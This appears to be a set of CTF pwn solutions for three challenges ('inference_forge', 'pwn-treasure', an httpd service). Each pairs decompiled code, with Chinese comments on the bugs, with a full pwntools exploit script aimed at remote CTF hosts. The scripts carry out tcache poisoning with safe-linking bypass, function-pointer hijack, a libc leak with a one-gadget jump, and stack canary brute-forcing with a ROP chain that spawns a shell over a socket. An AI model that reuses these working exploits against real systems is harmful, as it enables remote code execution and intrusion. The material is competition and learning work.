// 1. 获取 Case 1 中记录的 64 位 chunk size
n0x5F_1 = *(_QWORD *)(buf + 16); 
// 2. 获取输入的 offset
n0x5F_2 = n0x5F; 
// 3. 尺寸检查
if ( n0x5F >= n0x5F_1 ) {
    // 如果 offset 大于等于记录的大小，则报错
    std::__ostream_insert(..., "stream exceeds declared artifact size", ...);
} 
else {
    // 4. 窗口策略检查
    if ( n0x5F <= 0x5F ) { // 0x5F = 95
        // 将 payload 拷贝到 arena_ptr + offset 的位置
        // 限制条件：offset <= 95
    }
}

// 1. 分配控制块 (防火墙开关)
v10 = malloc(0x38);                    // 实际会分配出 0x40 大小的物理堆块
*((_WORD *)v10 + 4) = 257;             // 在偏移 +0x08 的位置，写入了 strict_policy = 1
*(_QWORD *)(a1 + 32) = v10;            // 把指针挂载到全局上下文 a1(buf) 上

// 2. 循环分配 8 个任务块 (执行流入口)
while ( n7 != 8 ) 
{
    v15 = malloc(0x50);                // 实际会分配出 0x60 大小的物理堆块
    *((_QWORD *)v15 + 3) = sub_30A0;   // 在偏移 +0x18 的位置，写入了默认的函数指针
    *((_QWORD *)v15 + 4) = v15;        // 在偏移 +0x20 的位置，写入了参数指针
    
    // 把 Task 指针挂载到全局上下文 a1(buf) 偏移 +40 开始的数组中
    *(_QWORD *)(a1 + 8 * n7 + 40) = v15; 
    ++n7;
}

// 1. 校验 Slot 是否已被占用 (n0xF 为 0-15)
// a1 + 104 (0x68) 处开始存指针数组
if ( *(_QWORD *)(a1 + 8 * n0xF + 104) ) 
{
    std::__ostream_insert(..., "session slot already allocated", ...);
    return;
}

// 2. 分配 Session 核心对象 (申请 0x50, 实际分配 0x60 的堆块)
v11 = operator new(0x50uLL);
*(_QWORD *)v11 = n0xF;                // +0x00: 存入 slot 号
*(_DWORD *)(v11 + 4) = size;          // +0x04: 存入 tensor_bytes 大小

// 3. 分配 Payload 缓冲区
if ( size ) 
{
    v14 = malloc(size);               // 根据输入的大小分配数据区
    *((_QWORD *)v11 + 1) = v14;       // +0x08: payload_ptr (数据指针)
}

// 4. 初始化别名 (alias) 与回调函数
__snprintf_chk(v11 + 16, 32LL, ... , "%s", alias); // +0x10: 32 字节的 alias 字符串
*((_QWORD *)v11 + 7) = sub_2C50;      // +0x38: postproc_func (默认函数指针)

// 5. 登记到全局上下文 (a1 为 392 字节的 buf)
*(_QWORD *)(a1 + 8 * n0xF + 104) = v11; // 登记对象指针到 buf[0x68 + slot*8]
*(_BYTE *)(a1 + n0xF + 360) = 1;        // 将 active 标志位置 1 (buf[0x168 + slot])

// 1. 提取结构体与函数指针
// a1: 392 字节的全局上下文 (buf)
// n7: 输入的 task_id (例如 0)
// 从 a1 + 40 (0x28) 处取出 Task 0 的绝对堆地址
v10 = *(_QWORD *)(a1 + 8 * n7 + 40);

if ( v10 && (sub_2FF0_1 = *(void (__fastcall **)(_QWORD))(v10 + 24)) != 0LL ) 
{
    // v10 + 24 (+0x18): handler 函数指针
    // v10 + 32 (+0x20): context 参数指针

    // 2. 白名单与策略校验
    if ( sub_2FF0_1 == sub_2FF0                    // 检查是否为默认函数 A
      || (char *)sub_2FF0_1 == (char *)sub_30A0    // 检查是否为默认函数 B
      || *(_BYTE *)(*(_QWORD *)(a1 + 32) + 8LL) == 0 // 核心：检查 strict_policy 是否为 0
      || sub_2FF0_1 == sub_2F40 )                  // 检查是否为默认函数 C
    {
        // 校验通过，执行函数调用
        // 如果 strict_policy 被篡改为 0，则可以执行被替换后的 handler
        sub_2FF0_1(*(_QWORD *)(v10 + 32));                       
    }
    else 
    {
        // 策略拦截
        std::__ostream_insert(..., "policy engine blocked non-whitelisted handler", ...);
    }
}

// 1. 泄露代码段基址 (diag.audit_sink)
std::__ostream_insert(std::cout, " diag.audit_sink=", 17LL);
// sub_3210 相当于 printf("%p")，通过打印函数地址 sub_6750 泄露 PIE 基址
sub_3210((__int64)&v63, (__int64)sub_6750);  
v13 = (std::ostream *)std::__ostream_insert(v12, v63, v64);

// 2. 遍历 Session 槽位泄露堆地址与 Tcache 指针
for ( i = 0LL; i != 16; ++i ) 
{
    // 从全局数组 (a1 + 0x68) 遍历 16 个 Session 槽位
    v22 = *(__int64 **)(a1 + 8 * i + 104); 
         
    if ( v22 ) 
    { 
        // 漏洞点：只要槽位内指针非空即打印，忽略了 active 标志位状态
        std::__ostream_insert(std::cout, "[session:", 9LL);
        // ... 打印序号 ...
        
        // 打印 Session 对象的绝对堆地址 (handle)
        std::__ostream_insert(v24, "] handle=", 9LL);
        sub_3210((__int64)v60, v22);       
                 
        // 打印 Session 对象前 8 字节的内容 (q0)
        // 如果该堆块处于 free 状态，此处可能泄露 Tcache 的加密指针 (next)
        std::__ostream_insert(v26, " q0=", 4LL);
        v23 = *v22;                        
        sub_3210((__int64)v62, v23);       
    }
}

from pwn import *

context.log_level = 'debug'#'debug'
context.arch = 'amd64'
exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/ezheap/inference_forge'
context.binary = exe
flag = 0

def start():
    if flag:
        return process(exe)
    else:
        return remote('nc1.ctfplus.cn', 47430)

p = start()

def cmd(choice): p.sendlineafter(b"gateway> ", str(choice).encode())

def add(slot, size, alias):
    cmd(5)
    p.sendlineafter(b"> ", str(slot).encode())
    p.sendlineafter(b"> ", str(size).encode())
    p.sendlineafter(b"> ", alias)

def free(slot):
    cmd(6)
    p.sendlineafter(b"> ", str(slot).encode())

def edit(slot, idx, val):
    cmd(7)
    p.sendlineafter(b"> ", str(slot).encode())
    p.sendlineafter(b"> ", str(idx).encode())
    p.sendlineafter(b"> ", str(val).encode())

def worker(cpu, mem, io, slo, replicas, region, memo):
    cmd(8)
    p.sendlineafter(b"> ", str(cpu).encode())
    p.sendlineafter(b"> ", str(mem).encode())
    p.sendlineafter(b"> ", str(io).encode())
    p.sendlineafter(b"> ", str(slo).encode())
    p.sendlineafter(b"> ", str(replicas).encode())
    p.sendlineafter(b"> ", str(region).encode())
    p.sendlineafter(b"> ", memo)

def show(): cmd(10)
def boot(): cmd(3)
def chk(): cmd(4)

def run(task_id):
    cmd(9)
    p.sendlineafter(b"> ", str(task_id).encode())

show()
p.recvuntil(b"diag.audit_sink=")
backdoor_addr = int(p.recvuntil(b"\n", drop=True).replace(b"0x", b""), 16)
print(f"Backdoor: {hex(backdoor_addr)}")
boot()
chk()
pause()
p.recvuntil(b"queue_ctrl=")
queue_ctrl_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
print(f"Queue Control: {hex(queue_ctrl_addr)}")
p.recvuntil(b"[task:0] desc=")
task_0_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
print(f"Task 0: {hex(task_0_addr)}")

add(0, 16, b"1337")
free(0)
show()

p.recvuntil(b"[session:0] handle=")
p.recvuntil(b"q0=")
leak_addr = int(p.recvuntil(b" ", drop=True).replace(b"0x", b""), 16)
heap_base_addr = leak_addr << 12
print(f"Heap Base: {hex(heap_base_addr)}")#same as the pwn.college's DAM

add(1, 16, b"a")
add(2, 16, b"b")
free(2)
free(1)

obfuscated_queue = queue_ctrl_addr ^ (heap_base_addr >> 12)
edit(1, 0, obfuscated_queue)

add(3, 16, b"kkkk")

worker(
    cpu = 0x49464F524745,  
    mem = 0,              # 关闭白名单
    io = 0, slo = 0, replicas = 0, region = 0, 
    memo = b"\x00"
)

#hijack Task 
add(5, 16, b"c")
add(6, 16, b"d")
free(6)
free(5)

obfuscated_task = task_0_addr ^ (heap_base_addr >> 12)
edit(5, 0, obfuscated_task)

add(7, 16, b"shark")

worker(
    cpu = 0,                     # +0x00: task_id
    mem = 0,                     # +0x08: arg0
    io  = 0,                     # +0x10: state
    slo = backdoor_addr,         # +0x18: backdoor
    replicas = task_0_addr + 40, # +0x20: pointer to memo
    region = 0,
    memo = b'\x00'        
)
print("finaly •᷄ࡇ•᷅")
run(0)

p.interactive()

from pwn import *

exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/pwn-treasure'
elf = ELF('/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/pwn-treasure')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  
libc = ELF('/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-treasure/attachments/libc.so.6')

context.log_level = 'debug'
context.binary = elf
flag = 0

def start():
    if flag:
        return process(exe)
    else:
        return remote('nc1.ctfplus.cn',44046)

io = start()

io.recvuntil(b"password: ")
io.sendline(b"1")

io.recvuntil(b"Which one?\n")
io.sendline(b"-14")

sleep(0.1)
system_low = libc.symbols['system'] & 0xff
io.send(p8(system_low))

io.recvuntil(b"the context: ")
leak_system_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = leak_system_addr - libc.symbols['system']

print(f"system addr : {hex(leak_system_addr)}")
print(f"Libc Base : {hex(libc_base)}")

io.recvuntil(b"you should tell me your name.\n")
io.sendline(b"\x00" * 64 + b"\n")

io.recvuntil(b"Last time!Lucky, guy!\n")
io.sendline(b"-13")

sleep(0.1)
offset = 0xebd3f
gadget_addr = libc_base + offset
print(f"Gadget: {hex(gadget_addr)}")
#gdb.attach(io, '''
#    b printf
#    c
#''')

io.send(p64(gadget_addr))
io.interactive()

read(fd, buf, 0xFFFuLL);

haystack_1 = strstr((const char *)buf, "\r\n\r\n"); // 寻找 Header 结束标志
v7 = strstr((const char *)buf, "\r\n");            // 寻找第一行结束
*v7 = 0;                                           // 截断第一行，方便 sscanf 解析

from pwn import *

HOST, PORT = 'nc1.ctfplus.cn', 14271
exe = '/home/shark/Desktop/ctf/temp/code/Polarisctf/pwn-httpd/attachments/httpd'
elf = ELF(exe, checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)

context.log_level = 'debug'
context.binary = elf

def send_post(token, payload, get_shell=False):
    r = remote(HOST, PORT, level='error')
    
    raw_url_encoded = b"".join(b"%%%02X" % b for b in payload)
    
    body_data = b"route_name=1&ip=1&subnet_mask=1&gateway=" + raw_url_encoded
    conn_type = "keep-alive" if get_shell else "close"
    
    header = (
        f"POST /config HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Cookie: {token}\r\n"
        f"Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body_data)}\r\n"
        f"Connection: {conn_type}\r\n\r\n"
    ).encode()
    
    r.send(header + body_data)
    
    if get_shell:
        return r
    try:
        return r.recvall(timeout=1)
    except:
        return b""
 

r = remote(HOST, PORT, level='error')
r.send(b"GET /getCookie HTTP/1.1\r\n\r\n")
token = b"token=" + r.recvall(timeout=1).split(b"token=")[1].split(b";")[0]
token_str = token.decode()
print(f"Admin Token: {token_str}")

print("Leaking Canary...")
canary = b'\x00'
for i in range(7):
    for b in range(256):
        payload = b"A" * 40 + canary + bytes([b])
        if b"500" not in send_post(token_str, payload):
            canary += bytes([b])
            print(f"Canary found: {canary.hex()}")
            break
print(f"Final Canary: {canary.hex()}")


got_plt = elf.get_section_by_name('.got.plt').header.sh_addr
ptr_to_got = next(elf.search(p64(got_plt))) 
pause()
add_eax_b8 = 0x403009     
magic_write_rdx = 0x401994 

leak_pl = b"a" * 40 + canary + b"c" * 0x10 
leak_pl += p64(ptr_to_got + 8) 
leak_pl += p64(add_eax_b8) * 2 
leak_pl += p64(magic_write_rdx)

resp = send_post(token_str, leak_pl)
offset = elf.got['read'] - got_plt
libc.address = u64(resp[offset : offset+8].ljust(8, b'\x00')) - libc.sym['read']
print(f"Libc Base: {hex(libc.address)}")
pause()
rop = ROP(libc)
rop.dup2(4, 0) 
rop.dup2(4, 1)
rop.raw(next(elf.search(asm('ret')))) # 栈对齐
rop.system(next(libc.search(b'/bin/sh')))

payload = b"a" * 40 + canary + b"c" * 0x10 + b"b" * 8 + rop.chain()

print("finaly •᷄ࡇ•᷅")
r = send_post(token_str, payload, get_shell=True)
r.interactive()